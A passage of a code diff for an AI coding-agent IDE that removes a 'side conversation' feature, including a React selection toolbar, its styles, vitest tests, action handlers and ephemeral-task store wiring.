opacity: 0;
|
||||
pointer-events: none;
|
||||
transition: opacity var(--dur-fast) var(--ease);
|
||||
}
|
||||
.visible {
|
||||
opacity: 1;
|
||||
pointer-events: auto;
|
||||
}
|
||||
.button {
|
||||
height: var(--h-control-small);
|
||||
padding: 0 var(--space-2);
|
||||
border: 0;
|
||||
border-radius: var(--radius-toolbar-button);
|
||||
background: none;
|
||||
color: var(--fg);
|
||||
font-size: var(--fs-ui);
|
||||
white-space: nowrap;
|
||||
cursor: pointer;
|
||||
}
|
||||
.button:hover {
|
||||
background: var(--bg-hover);
|
||||
}
|
||||
@media (prefers-reduced-motion: reduce) {
|
||||
.toolbar {
|
||||
transition: none;
|
||||
}
|
||||
}
|
||||
@@ -1,134 +0,0 @@
|
||||
import { fireEvent, render } from "@testing-library/react";
|
||||
import { afterEach, beforeEach, expect, it, vi } from "vitest";
|
||||
import type { AgentTask } from "@/bindings";
|
||||
|
||||
const actions = vi.hoisted(() => ({ execute: vi.fn() }));
|
||||
vi.mock("@/platform/actions", () => ({ executeAction: actions.execute }));
|
||||
|
||||
import { SelectionToolbar } from "./SelectionToolbar";
|
||||
|
||||
const task: AgentTask = {
|
||||
id: "t1",
|
||||
title: "Task",
|
||||
provider: "codex",
|
||||
status: "ready",
|
||||
isolation: "local",
|
||||
model: null,
|
||||
cwd: "/repo",
|
||||
branch: null,
|
||||
base: null,
|
||||
baseCommit: null,
|
||||
error: null,
|
||||
createdMs: 0,
|
||||
updatedMs: 0,
|
||||
config: [],
|
||||
commands: [],
|
||||
usage: null,
|
||||
queue: [],
|
||||
capabilities: { fork: true, rollback: true, steer: true, images: true, readOnly: false },
|
||||
};
|
||||
|
||||
interface SetupOptions {
|
||||
subagent?: boolean;
|
||||
task?: AgentTask;
|
||||
}
|
||||
|
||||
/** Mounts the toolbar over a stream holding one row of selectable text. */
|
||||
function setup({ subagent = false, task: agent = task }: SetupOptions) {
|
||||
const stream = document.createElement("div");
|
||||
stream.setAttribute("data-selection-stream", "");
|
||||
const row = document.createElement("div");
|
||||
const text = document.createTextNode("Selected text");
|
||||
row.appendChild(text);
|
||||
stream.appendChild(row);
|
||||
document.body.appendChild(stream);
|
||||
const view = render(<SelectionToolbar streamRef={{ current: stream }} task={agent} subagent={subagent} />);
|
||||
return { row, text, view };
|
||||
}
|
||||
|
||||
/** Selects `node`'s text as the user would, then releases the mouse over the conversation. */
|
||||
function selectThenRelease(node: Node) {
|
||||
const range = document.createRange();
|
||||
range.selectNodeContents(node);
|
||||
const selection = document.getSelection()!;
|
||||
selection.removeAllRanges();
|
||||
selection.addRange(range);
|
||||
fireEvent.mouseUp(document, { button: 0 });
|
||||
}
|
||||
|
||||
const sideButton = (view: ReturnType<typeof render>) => view.queryByRole("button", { name: "Start Side Conversation" });
|
||||
|
||||
afterEach(() => document.querySelectorAll("[data-selection-stream]").forEach((n) => n.remove()));
|
||||
beforeEach(() => actions.execute.mockClear());
|
||||
|
||||
it("offers Reply and a side conversation on a selection", () => {
|
||||
const { view, row } = setup({});
|
||||
selectThenRelease(row);
|
||||
expect(view.getByRole("button", { name: "Reply" })).toBeInTheDocument();
|
||||
expect(sideButton(view)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("quotes the selection into the composer on Reply", () => {
|
||||
const { view, row } = setup({});
|
||||
selectThenRelease(row);
|
||||
fireEvent.click(view.getByRole("button", { name: "Reply" }));
|
||||
expect(actions.execute).toHaveBeenCalledWith("agents.quoteReply", { task: task.id, text: "Selected text" });
|
||||
expect(view.queryByRole("button", { name: "Reply" })).toBeNull();
|
||||
});
|
||||
|
||||
it("starts the side conversation with the selection", () => {
|
||||
const { view, row } = setup({});
|
||||
selectThenRelease(row);
|
||||
fireEvent.click(sideButton(view)!);
|
||||
expect(actions.execute).toHaveBeenCalledWith("agents.startSideConversation", {
|
||||
task: task.id,
|
||||
text: "Selected text",
|
||||
});
|
||||
});
|
||||
|
||||
it("hides when the selection collapses", () => {
|
||||
const { view, text } = setup({});
|
||||
selectThenRelease(text);
|
||||
expect(view.getByRole("button", { name: "Reply" })).toBeInTheDocument();
|
||||
document.getSelection()?.removeAllRanges();
|
||||
fireEvent(document, new Event("selectionchange"));
|
||||
expect(view.queryByRole("button", { name: "Reply" })).toBeNull();
|
||||
});
|
||||
|
||||
it("offers no side conversation in a subagent's view", () => {
|
||||
const { view, row } = setup({ subagent: true });
|
||||
selectThenRelease(row);
|
||||
expect(view.getByRole("button", { name: "Reply" })).toBeInTheDocument();
|
||||
expect(sideButton(view)).toBeNull();
|
||||
});
|
||||
|
||||
it("offers no side conversation while the agent runs", () => {
|
||||
const { view, row } = setup({ task: { ...task, status: "running" } });
|
||||
selectThenRelease(row);
|
||||
expect(sideButton(view)).toBeNull();
|
||||
expect(view.getByRole("button", { name: "Reply" })).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("shows nothing in an archived task", () => {
|
||||
const { view, row } = setup({ task: { ...task, status: "archived" } });
|
||||
selectThenRelease(row);
|
||||
expect(view.queryByRole("button", { name: "Reply" })).toBeNull();
|
||||
});
|
||||
|
||||
it("ignores a selection in an editable field", () => {
|
||||
const { view, text, row } = setup({});
|
||||
const field = document.createElement("div");
|
||||
field.setAttribute("contenteditable", "true");
|
||||
field.textContent = "typing here";
|
||||
row.parentElement!.appendChild(field);
|
||||
text.remove();
|
||||
selectThenRelease(field);
|
||||
expect(view.queryByRole("button", { name: "Reply" })).toBeNull();
|
||||
});
|
||||
|
||||
it("offers no side conversation from a side conversation", () => {
|
||||
const { view, row } = setup({ task: { ...task, capabilities: { ...task.capabilities!, readOnly: true } } });
|
||||
selectThenRelease(row);
|
||||
expect(view.getByRole("button", { name: "Reply" })).toBeInTheDocument();
|
||||
expect(sideButton(view)).toBeNull();
|
||||
});
|
||||
@@ -1,155 +0,0 @@
|
||||
/**
|
||||
* Floating toolbar above a selection in the conversation: quote it into the composer
|
||||
* ("Reply"), or start a temporary side conversation about it.
|
||||
*/
|
||||
import { useEffect, useEffectEvent, useLayoutEffect, useRef, useState, type RefObject } from "react";
|
||||
import clsx from "clsx";
|
||||
import type { AgentTask } from "@/bindings";
|
||||
import { executeAction } from "@/platform/actions";
|
||||
import { T } from "@/ui";
|
||||
import { isBusy } from "./model";
|
||||
import { selectionIn } from "./selection";
|
||||
import styles from "./SelectionToolbar.module.css";
|
||||
|
||||
/** What a shown toolbar acts on: the selection and where it sits. */
|
||||
interface Shown {
|
||||
text: string;
|
||||
/** Selection range and the stream's visible band, viewport-relative at the moment it was shown. */
|
||||
range: { left: number; top: number; bottom: number };
|
||||
stream: { left: number; right: number; top: number; bottom: number };
|
||||
}
|
||||
|
||||
/** Toolbar dimensions before the first layout measured them; only clamping leans on them. */
|
||||
const ESTIMATED = { width: 200, height: 26 };
|
||||
|
||||
/** Just above the selection, below it when there is no room, within the stream's visible band. */
|
||||
function place(shown: Shown, size: { width: number; height: number }): { left: number; top: number } {
|
||||
const margin = 6;
|
||||
const { width, height } = size.width ? size : ESTIMATED;
|
||||
const left = Math.min(
|
||||
Math.max(shown.range.left, shown.stream.left + margin),
|
||||
Math.max(shown.stream.left + margin, shown.stream.right - width - margin),
|
||||
);
|
||||
const above = shown.range.top - height - margin;
|
||||
const top = above >= shown.stream.top + margin ? above : shown.range.bottom + margin;
|
||||
return {
|
||||
left,
|
||||
top: Math.min(Math.max(top, shown.stream.top + margin), Math.max(margin, shown.stream.bottom - height - margin)),
|
||||
};
|
||||
}
|
||||
|
||||
export function SelectionToolbar({
|
||||
streamRef,
|
||||
task,
|
||||
subagent,
|
||||
}: {
|
||||
streamRef: RefObject<HTMLDivElement | null>;
|
||||
task: AgentTask;
|
||||
/** The conversation shown belongs to a subagent: side conversations fork the task's own. */
|
||||
subagent: boolean;
|
||||
}) {
|
||||
const ref = useRef<HTMLDivElement>(null);
|
||||
const [shown, setShown] = useState<Shown | null>(null);
|
||||
const [size, setSize] = useState({ width: 0, height: 0 });
|
||||
|
||||
const hide = useEffectEvent(() => setShown(null));
|
||||
|
||||
/** Shows the toolbar over the selection, when there is one to act on. */
|
||||
const show = useEffectEvent(() => {
|
||||
const stream = streamRef.current;
|
||||
if (!stream || task.status === "archived") return hide();
|
||||
const text = selectionIn(stream);
|
||||
const selection = stream.ownerDocument.getSelection();
|
||||
if (!text.trim() || !selection?.rangeCount) return hide();
|
||||
const range = selection.getRangeAt(0);
|
||||
const start = range.startContainer instanceof Element ? range.startContainer : range.startContainer.parentElement;
|
||||
// A selection in an editable field edits that field, not the conversation.
|
||||
if (!start || start.closest("input, textarea, [contenteditable='true'], .cm-editor")) return hide();
|
||||
const box = range.getBoundingClientRect();
|
||||
const view = stream.getBoundingClientRect();
|
||||
setShown({
|
||||
text,
|
||||
range: { left: box.left, top: box.top, bottom: box.bottom },
|
||||
stream: { left: view.left, right: view.right, top: view.top, bottom: view.bottom },
|
||||
});
|
||||
});
|
||||
|
||||
useEffect(() => {
|
||||
const stream = streamRef.current;
|
||||
const doc = stream?.ownerDocument;
|
||||
if (!stream || !doc) return;
|
||||
// Anything that starts a new selection, or moves the conversation, hides it again.
|
||||
const collapsed = () => {
|
||||
const selection = doc.getSelection();
|
||||
if (!selection || selection.isCollapsed) hide();
|
||||
};
|
||||
const down = (e: MouseEvent) => {
|
||||
if (!ref.current?.contains(e.target as Node)) hide();
|
||||
};
|
||||
const up = (e: MouseEvent) => {
|
||||
if (e.button === 0 && !ref.current?.contains(e.target as Node)) show();
|
||||
};
|
||||
stream.addEventListener("scroll", hide);
|
||||
doc.addEventListener("mousedown", down);
|
||||
doc.addEventListener("mouseup", up);
|
||||
doc.addEventListener("selectionchange", collapsed);
|
||||
return () => {
|
||||
stream.removeEventListener("scroll", hide);
|
||||
doc.removeEventListener("mousedown", down);
|
||||
doc.removeEventListener("mouseup", up);
|
||||
doc.removeEventListener("selectionchange", collapsed);
|
||||
};
|
||||
}, [streamRef]);
|
||||
|
||||
// The first placement clamps against the real dimensions, known after one layout.
|
||||
useLayoutEffect(() => {
|
||||
const el = ref.current;
|
||||
if (!el || !shown) return;
|
||||
const { offsetWidth, offsetHeight } = el;
|
||||
setSize((s) =>
|
||||
s.width === offsetWidth && s.height === offsetHeight ? s : { width: offsetWidth, height: offsetHeight },
|
||||
);
|
||||
}, [shown]);
|
||||
|
||||
// Any live task but a side conversation itself (the read-only one); the host refuses an
|
||||
// agent it can't push to a mode that asks before changing things.
|
||||
const side =
|
||||
!!shown && !subagent && task.status !== "archived" && !isBusy(task.status) && !task.capabilities?.readOnly;
|
||||
|
||||
const startSide = () => {
|
||||
if (!shown) return;
|
||||
setShown(null);
|
||||
void executeAction("agents.startSideConversation", { task: task.id, text: shown.text });
|
||||
};
|
||||
|
||||
return (
|
||||
<div
|
||||
ref={ref}
|
||||
className={clsx(styles.toolbar, shown && styles.visible)}
|
||||
style={shown ? place(shown, size) : undefined}
|
||||
// Clicking a button keeps the selection it acts on.
|
||||
onMouseDown={(e) => e.preventDefault()}
|
||||
>
|
||||
{shown && (
|
||||
<>
|
||||
<button
|
||||
type="button"
|
||||
className={styles.button}
|
||||
onClick={() => {
|
||||
if (!shown) return;
|
||||
setShown(null);
|
||||
void executeAction("agents.quoteReply", { task: task.id, text: shown.text });
|
||||
}}
|
||||
>
|
||||
<T>Reply</T>
|
||||
</button>
|
||||
{side && (
|
||||
<button type="button" className={styles.button} onClick={startSide}>
|
||||
<T>Start Side Conversation</T>
|
||||
</button>
|
||||
)}
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -14,37 +14,6 @@
|
||||
font-size: var(--fs-ui);
|
||||
}
|
||||
|
||||
/* Temporary side conversation: an accent bar divides it from what it forked from. */
|
||||
.sideBanner {
|
||||
grid-column: 1 / -1;
|
||||
/* The grid stretches auto rows; keep the bar at its content height. */
|
||||
align-self: start;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: var(--space-2);
|
||||
padding: var(--space-2) var(--space-3);
|
||||
border-bottom: 1px solid var(--border);
|
||||
background: var(--accent-soft);
|
||||
color: var(--fg);
|
||||
}
|
||||
.sideBanner :global(svg) {
|
||||
color: var(--accent);
|
||||
flex: none;
|
||||
}
|
||||
.sideName {
|
||||
font-weight: 600;
|
||||
white-space: nowrap;
|
||||
}
|
||||
.sideHint {
|
||||
flex: 1;
|
||||
min-width: 0;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
color: var(--fg-muted);
|
||||
font-size: var(--fs-small);
|
||||
}
|
||||
|
||||
.conversation {
|
||||
container-type: inline-size;
|
||||
display: flex;
|
||||
@@ -492,13 +461,6 @@
|
||||
white-space: pre-wrap;
|
||||
overflow-wrap: anywhere;
|
||||
}
|
||||
/* Quoted context a reply carried with it: dimmer, with a marker line. */
|
||||
.quote {
|
||||
margin: 0;
|
||||
padding-left: var(--space-2);
|
||||
border-left: 2px solid var(--border);
|
||||
color: var(--fg-muted);
|
||||
}
|
||||
|
||||
.editMessage {
|
||||
width: 100%;
|
||||
|
||||
@@ -65,7 +65,6 @@ import { ChangesResizer, useChangesWidthStyle } from "./ChangesResizer";
|
||||
import { Composer } from "./Composer";
|
||||
import { ReferencedText } from "./ReferenceChip";
|
||||
import { selectionIn } from "./selection";
|
||||
import { SelectionToolbar } from "./SelectionToolbar";
|
||||
import { SubmitButton } from "./SubmitButton";
|
||||
import {
|
||||
canSend,
|
||||
@@ -137,7 +136,6 @@ import {
|
||||
refreshChanges,
|
||||
rollbackChanges,
|
||||
scheduleChanges,
|
||||
discardEphemeral,
|
||||
editQueued,
|
||||
forkTask,
|
||||
rerunFrom,
|
||||
@@ -165,7 +163,6 @@ function TaskSession({ id, docked }: { id: string; docked: boolean }) {
|
||||
const entries = useAgents((s) => s.entries.get(id));
|
||||
// Grouping needs commits of the task's own: local checkouts keep the flat list.
|
||||
const isolation = useAgents((s) => s.tasks.get(id)?.isolation);
|
||||
const ephemeral = useAgents((s) => s.ephemeral.has(id));
|
||||
const grouped = useChangesOptions((s) => s.groupByCommit) && isolation === "worktree";
|
||||
const sinceStart = useAgents((s) => s.changes.get(id));
|
||||
const review = useAgents((s) => s.groupedChanges.get(id));
|
||||
@@ -267,22 +264,6 @@ function TaskSession({ id, docked }: { id: string; docked: boolean }) {
|
||||
}
|
||||
}}
|
||||
>
|
||||
{ephemeral && (
|
||||
<div className={styles.sideBanner}>
|
||||
<Icon name="branch" size={13} />
|
||||
<span className={styles.sideName}>
|
||||
<T>Side conversation</T>
|
||||
</span>
|
||||
<span className={styles.sideHint}>
|
||||
<T>Temporary and read-only: closing it discards the conversation and its context.</T>
|
||||
</span>
|
||||
<IconButton
|
||||
icon="close"
|
||||
title="Discard Side Conversation"
|
||||
onClick={() => void discardEphemeral(id).catch(() => undefined)}
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
<div className={styles.conversation} hidden={docked && changesOpen}>
|
||||
{view && <SubagentBar task={task} path={path} cards={cards} onNavigate={setPath} />}
|
||||
<FoldedContent.Provider value={finding && shown}>
|
||||
@@ -1109,7 +1090,6 @@ function Stream({
|
||||
<WorkingRow task={task} entries={entries} subagent={subagent} />
|
||||
</div>
|
||||
{away && !!entries?.length && <JumpToLatest onJump={jumpToLatest} />}
|
||||
<SelectionToolbar streamRef={ref} task={task} subagent={!!subagent} />
|
||||
</div>
|
||||
</RevealFold.Provider>
|
||||
</OpenFolds.Provider>
|
||||
@@ -1765,14 +1745,14 @@ function ImageStrip({ images, onRemove }: { images: AgentImage[]; onRemove?: (in
|
||||
<img className={styles.image} src={imageSrc(img)} alt={img.name ?? tx("Image")} />
|
||||
</button>
|
||||
{onRemove && (
|
||||
<button
|
||||
<IconButton
|
||||
type="button"
|
||||
className={styles.removeImage}
|
||||
aria-label={tx("Remove Image")}
|
||||
onClick={() => onRemove(i)}
|
||||
>
|
||||
<Icon name="close" size={10} />
|
||||
</button>
|
||||
icon="close"
|
||||
size="small"
|
||||
/>
|
||||
)}
|
||||
</span>
|
||||
))}
|
||||
|
||||
@@ -7,7 +7,6 @@ import { createElement } from "react";
|
||||
import { registerActions } from "@/platform/actions";
|
||||
import { useProject } from "@/platform/project";
|
||||
import { executeAction } from "@/platform/actions";
|
||||
import { tx } from "@/platform/i18n";
|
||||
import { lazyComponent, lazyWhen } from "@/ui";
|
||||
import { isVirtualUri } from "@/platform/virtualDocs";
|
||||
import { call, commands } from "@/platform/ipc";
|
||||
@@ -44,12 +43,10 @@ import {
|
||||
closeAndNewTask,
|
||||
connect,
|
||||
disconnect,
|
||||
discardEphemeral,
|
||||
openHome,
|
||||
refreshModels,
|
||||
refreshProviders,
|
||||
useAgents,
|
||||
watchEphemeralTasks,
|
||||
} from "./store";
|
||||
import { TaskStatusMark } from "./TaskStatusMark";
|
||||
import { taskActions, useAgentsHeaderMenu } from "./taskActions";
|
||||
@@ -137,7 +134,6 @@ export function activate(): () => void {
|
||||
else if (s.settings?.agents?.newTaskApprovals !== prev.settings?.agents?.newTaskApprovals && s.project?.root)
|
||||
void refreshProviders();
|
||||
}),
|
||||
watchEphemeralTasks(),
|
||||
registerToolWindow({
|
||||
id: TOOL_WINDOW,
|
||||
title: "Agents",
|
||||
@@ -149,12 +145,9 @@ export function activate(): () => void {
|
||||
plainTitle: true,
|
||||
headerActions: lazyComponent(() => import("./AgentsView").then((m) => m.AgentsHeaderActions)),
|
||||
useBadge: () => {
|
||||
const n = useAgents((s) => {
|
||||
const ephemeral = s.ephemeral;
|
||||
return [...s.tasks.values()].filter(
|
||||
(t) => !ephemeral.has(t.id) && (t.status === "needsInput" || s.unread.has(t.id)),
|
||||
).length;
|
||||
});
|
||||
const n = useAgents(
|
||||
(s) => [...s.tasks.values()].filter((t) => t.status === "needsInput" || s.unread.has(t.id)).length,
|
||||
);
|
||||
return n || null;
|
||||
},
|
||||
}),
|
||||
@@ -170,8 +163,7 @@ export function activate(): () => void {
|
||||
component: lazyComponent(() => import("./SessionEditor").then((m) => m.SessionEditor)),
|
||||
title: (input) => {
|
||||
const data = input.data as { task: string; title?: string };
|
||||
const title = useAgents.getState().tasks.get(data.task)?.title ?? data.title ?? "Agent Task";
|
||||
return useAgents.getState().ephemeral.has(data.task) ? tx`Side conversation: ${title}` : title;
|
||||
return useAgents.getState().tasks.get(data.task)?.title ?? data.title ?? "Agent Task";
|
||||
},
|
||||
icon: (input) => {
|
||||
const task = useAgents.getState().tasks.get((input.data as { task: string }).task);
|
||||
@@ -180,15 +172,7 @@ export function activate(): () => void {
|
||||
// Busy / done marker in the tab's trailing slot (#2233).
|
||||
trailing: (input) => createElement(TaskStatusMark, { task: (input.data as { task: string }).task }),
|
||||
// Tabs of tasks deleted meanwhile are closed when the tasks load (`connect`).
|
||||
// A side conversation restored after a page reload is valid again; after an app
|
||||
// restart its task is gone and this same mechanism closes the tab.
|
||||
restorable: true,
|
||||
// Closing a side conversation's last tab discards it (the task, context included).
|
||||
onClose: (input) => {
|
||||
const task = (input.data as { task: string }).task;
|
||||
const s = useAgents.getState();
|
||||
if (s.ephemeral.has(task) && s.docked !== task) void discardEphemeral(task);
|
||||
},
|
||||
onTabClose: (tabId) => clearAgentTabFontZoom(tabId),
|
||||
// Rebuilding a long conversation on every switch back is slow.
|
||||
keepAlive: true,
|
||||
|
||||
@@ -7,7 +7,6 @@ const backend = vi.hoisted(() => ({
|
||||
tasks: new Map<string, AgentTask>(),
|
||||
entries: new Map<string, AgentEntry[]>(),
|
||||
forkTask: vi.fn(),
|
||||
startSideConversation: vi.fn(),
|
||||
rerunFrom: vi.fn(),
|
||||
quoteInComposer: vi.fn(),
|
||||
notify: vi.fn(),
|
||||
@@ -15,7 +14,6 @@ const backend = vi.hoisted(() => ({
|
||||
vi.mock("./store", () => ({
|
||||
useAgents: { getState: () => backend },
|
||||
forkTask: backend.forkTask,
|
||||
startSideConversation: backend.startSideConversation,
|
||||
rerunFrom: backend.rerunFrom,
|
||||
quoteInComposer: backend.quoteInComposer,
|
||||
}));
|
||||
@@ -47,7 +45,7 @@ const task: AgentTask = {
|
||||
commands: [],
|
||||
usage: null,
|
||||
queue: [],
|
||||
capabilities: { fork: true, rollback: true, steer: true, images: true, readOnly: false },
|
||||
capabilities: { fork: true, rollback: true, steer: true, images: true },
|
||||
};
|
||||
const entries: AgentEntry[] = [prompt, { type: "agent", text: "**Answer**" }];
|
||||
const run = (id: string, arg: unknown = { task: task.id, turn: 0 }) =>
|
||||
@@ -136,32 +134,6 @@ it("branches after the reply's turn", async () => {
|
||||
expect(backend.forkTask).toHaveBeenCalledWith(task.id, 1);
|
||||
});
|
||||
|
||||
it("starts a temporary side conversation on the selection", async () => {
|
||||
backend.startSideConversation.mockResolvedValue("t2");
|
||||
await run("startSideConversation", { task: task.id, text: "the selected text" });
|
||||
expect(backend.startSideConversation).toHaveBeenCalledWith(task.id, "the selected text");
|
||||
expect(backend.forkTask).not.toHaveBeenCalled();
|
||||
expect(backend.quoteInComposer).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it.each(["archived", "busy", "empty", "unknown"])("does not start a side conversation: %s", async (kind) => {
|
||||
let arg: unknown = { task: task.id, text: "the selected text" };
|
||||
if (kind === "archived") backend.tasks.set(task.id, { ...task, status: "archived" });
|
||||
if (kind === "busy") backend.tasks.set(task.id, { ...task, status: "running" });
|
||||
if (kind === "empty") arg = { task: task.id, text: " " };
|
||||
if (kind === "unknown") arg = { task: "missing", text: "x" };
|
||||
await run("startSideConversation", arg);
|
||||
expect(backend.startSideConversation).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("reports side conversation errors", async () => {
|
||||
backend.startSideConversation.mockRejectedValueOnce(new Error("Unavailable"));
|
||||
await run("startSideConversation", { task: task.id, text: "the selected text" });
|
||||
expect(backend.notify).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ title: "Couldn't start the side conversation" }),
|
||||
);
|
||||
});
|
||||
|
||||
it("reports regeneration errors and allows retry", async () => {
|
||||
backend.rerunFrom.mockRejectedValueOnce(new Error("Unavailable"));
|
||||
await run("regenerateReply");
|
||||
|
||||
@@ -3,8 +3,8 @@ import type { Action } from "@/platform/actions";
|
||||
import { tx } from "@/platform/i18n";
|
||||
import { confirm } from "@/workbench/messages";
|
||||
import { notifications } from "@/workbench/contributions";
|
||||
import { isBusy, replyOperations, replyTurns, turnNumbers } from "./model";
|
||||
import { forkTask, quoteInComposer, rerunFrom, retractFrom, startSideConversation, useAgents } from "./store";
|
||||
import { replyOperations, replyTurns, turnNumbers } from "./model";
|
||||
import { forkTask, quoteInComposer, rerunFrom, retractFrom, useAgents } from "./store";
|
||||
|
||||
export interface CopyReply {
|
||||
text: string;
|
||||
@@ -34,12 +34,6 @@ interface ReplyTarget {
|
||||
turn: number;
|
||||
}
|
||||
|
||||
/** A selection to start a temporary side conversation from. */
|
||||
export interface SideSelection {
|
||||
task: string;
|
||||
text: string;
|
||||
}
|
||||
|
||||
function resolveReply(arg: unknown) {
|
||||
const target = arg as ReplyTarget | undefined;
|
||||
if (!target || typeof target.task !== "string" || !Number.isInteger(target.turn)) return null;
|
||||
@@ -149,22 +143,4 @@ export const replyActions: Action[] = [
|
||||
return runReplyOperation(task.id, "Couldn't fork the task", () => forkTask(task.id, reply.turn + 1));
|
||||
},
|
||||
},
|
||||
{
|
||||
id: "agents.startSideConversation",
|
||||
title: "Start Side Conversation",
|
||||
category: "Agents",
|
||||
icon: "branch",
|
||||
hidden: true,
|
||||
run: ({ arg }) => {
|
||||
const target = arg as SideSelection | undefined;
|
||||
if (!target || typeof target.task !== "string" || typeof target.text !== "string" || !target.text.trim()) return;
|
||||
const task = useAgents.getState().tasks.get(target.task);
|
||||
// Not from a side conversation itself; the host refuses an agent without a mode that
|
||||
// asks before changing things (it would edit the project and then vanish).
|
||||
if (!task || task.status === "archived" || isBusy(task.status) || task.capabilities?.readOnly) return;
|
||||
return runReplyOperation(task.id, "Couldn't start the side conversation", () =>
|
||||
startSideConversation(task.id, target.text),
|
||||
);
|
||||
},
|
||||
},
|
||||
];
|
||||
@@ -1,202 +0,0 @@
|
||||
import { beforeEach, expect, it, vi } from "vitest";
|
||||
import type { AgentEntry, AgentTask } from "@/bindings";
|
||||
import { discardEphemeral, sendMessage, startSideConversation, useAgents } from "./store";
|
||||
|
||||
const ipc = vi.hoisted(() => ({ create: vi.fn(), prompt: vi.fn(), delete: vi.fn(), cancel: vi.fn() }));
|
||||
vi.mock("@/platform/ipc", async (original) => ({
|
||||
...(await original<typeof import("@/platform/ipc")>()),
|
||||
commands: {
|
||||
...(await original<typeof import("@/platform/ipc")>()).commands,
|
||||
agentCreateEphemeral: (...args: unknown[]) => ipc.create(...args),
|
||||
agentPrompt: (...args: unknown[]) => ipc.prompt(...args),
|
||||
agentDelete: (...args: unknown[]) => ipc.delete(...args),
|
||||
agentCancel: (...args: unknown[]) => ipc.cancel(...args),
|
||||
},
|
||||
}));
|
||||
|
||||
const editor = vi.hoisted(() => ({
|
||||
open: vi.fn(),
|
||||
close: vi.fn(),
|
||||
/** Pane id reported for a session-key lookup; set per test ("null" when nothing is found). */
|
||||
paneOf: vi.fn<(key: string) => string | null>(() => null),
|
||||
}));
|
||||
vi.mock("@/workbench/contributions", async (original) => ({
|
||||
...(await original<typeof import("@/workbench/contributions")>()),
|
||||
editorService: () => ({ openInput: editor.open, closeInput: editor.close, paneOf: editor.paneOf }),
|
||||
maybeEditorService: () => ({ activePath: () => null }),
|
||||
toolWindowService: () => ({ show: vi.fn() }),
|
||||
}));
|
||||
|
||||
const source: AgentTask = {
|
||||
id: "t1",
|
||||
title: "Task",
|
||||
provider: "codex",
|
||||
status: "ready",
|
||||
isolation: "local",
|
||||
model: null,
|
||||
cwd: "/repo",
|
||||
branch: null,
|
||||
base: null,
|
||||
baseCommit: null,
|
||||
error: null,
|
||||
createdMs: 0,
|
||||
updatedMs: 0,
|
||||
config: [],
|
||||
commands: [],
|
||||
usage: null,
|
||||
queue: [],
|
||||
capabilities: { fork: true, rollback: true, steer: true, images: true, readOnly: false },
|
||||
};
|
||||
|
||||
const side = (id: string): AgentTask => ({ ...source, id, title: `Side of ${id}`, isolation: "local" });
|
||||
|
||||
const user = (text: string): AgentEntry => ({
|
||||
type: "user",
|
||||
text,
|
||||
attachments: [],
|
||||
sentMs: 0,
|
||||
doneMs: 1,
|
||||
steered: false,
|
||||
});
|
||||
const agentReply = (text: string): AgentEntry => ({ type: "agent", text });
|
||||
|
||||
beforeEach(() => {
|
||||
ipc.create.mockReset().mockResolvedValue({ status: "ok", data: side("t2") });
|
||||
ipc.prompt.mockReset().mockResolvedValue({ status: "ok", data: null });
|
||||
ipc.delete.mockReset().mockResolvedValue({ status: "ok", data: null });
|
||||
ipc.cancel.mockReset().mockResolvedValue({ status: "ok", data: null });
|
||||
editor.open.mockReset().mockResolvedValue(undefined);
|
||||
editor.close.mockReset().mockResolvedValue(true);
|
||||
editor.paneOf.mockReset().mockReturnValue(null);
|
||||
useAgents.setState({
|
||||
tasks: new Map([["t1", source]]),
|
||||
entries: new Map([["t1", [user("Fix the login bug"), agentReply("Fixed it in `auth.ts`.")]]]),
|
||||
ephemeral: new Set<string>(),
|
||||
composers: new Map(),
|
||||
});
|
||||
});
|
||||
|
||||
it("opens a side conversation of the task: ephemeral, local, split and quoted", async () => {
|
||||
const id = await startSideConversation("t1", "the selected text");
|
||||
expect(id).toBe("t2");
|
||||
// The host builds the context from its own copy of the conversation.
|
||||
expect(ipc.create).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
provider: "codex",
|
||||
isolation: "local",
|
||||
prompt: { text: "the selected text", files: [], images: [] },
|
||||
}),
|
||||
"t1",
|
||||
);
|
||||
const s = useAgents.getState();
|
||||
expect(s.ephemeral.has("t2")).toBe(true);
|
||||
expect(s.composers.get("t2")?.text).toContain("> the selected text");
|
||||
expect(editor.open).toHaveBeenCalledWith(expect.objectContaining({ kind: "agent-session", key: "agent:t2" }), {
|
||||
focus: true,
|
||||
side: true,
|
||||
});
|
||||
});
|
||||
|
||||
it("keeps the marks across a page reload and drops them with the app", async () => {
|
||||
const { watchEphemeralTasks } = await import("./store");
|
||||
const stop = watchEphemeralTasks();
|
||||
sessionStorage.setItem("openidea.agents.sideMarks", JSON.stringify(["t2"]));
|
||||
|
||||
// The store refills after the reload: the mark comes back with the task…
|
||||
useAgents.setState({
|
||||
loaded: true,
|
||||
tasks: new Map([
|
||||
["t1", source],
|
||||
["t2", side("t2")],
|
||||
]),
|
||||
ephemeral: new Set(),
|
||||
});
|
||||
expect(useAgents.getState().ephemeral.has("t2")).toBe(true);
|
||||
|
||||
// …and when the host's copy is gone (app restart, or the task was discarded), so is the mark.
|
||||
useAgents.setState((s) => {
|
||||
const tasks = new Map(s.tasks);
|
||||
tasks.delete("t2");
|
||||
return { tasks };
|
||||
});
|
||||
expect(useAgents.getState().ephemeral.has("t2")).toBe(false);
|
||||
expect(sessionStorage.getItem("openidea.agents.sideMarks")).toBe("[]");
|
||||
stop();
|
||||
});
|
||||
|
||||
it("sends follow-up messages as typed: the host owns the context", async () => {
|
||||
await startSideConversation("t1", "the selected text");
|
||||
useAgents.setState((s) => {
|
||||
const composers = new Map(s.composers);
|
||||
composers.set("t2", { text: "Why did you touch auth.ts?", files: [], images: [] });
|
||||
return { composers };
|
||||
});
|
||||
await sendMessage("t2", false);
|
||||
expect(ipc.prompt).toHaveBeenCalledTimes(1);
|
||||
const [task, prompt] = ipc.prompt.mock.calls[0]!;
|
||||
expect(task).toBe("t2");
|
||||
expect(prompt.text).toBe("Why did you touch auth.ts?");
|
||||
});
|
||||
|
||||
it("opens a nested side conversation in its parent's pane", async () => {
|
||||
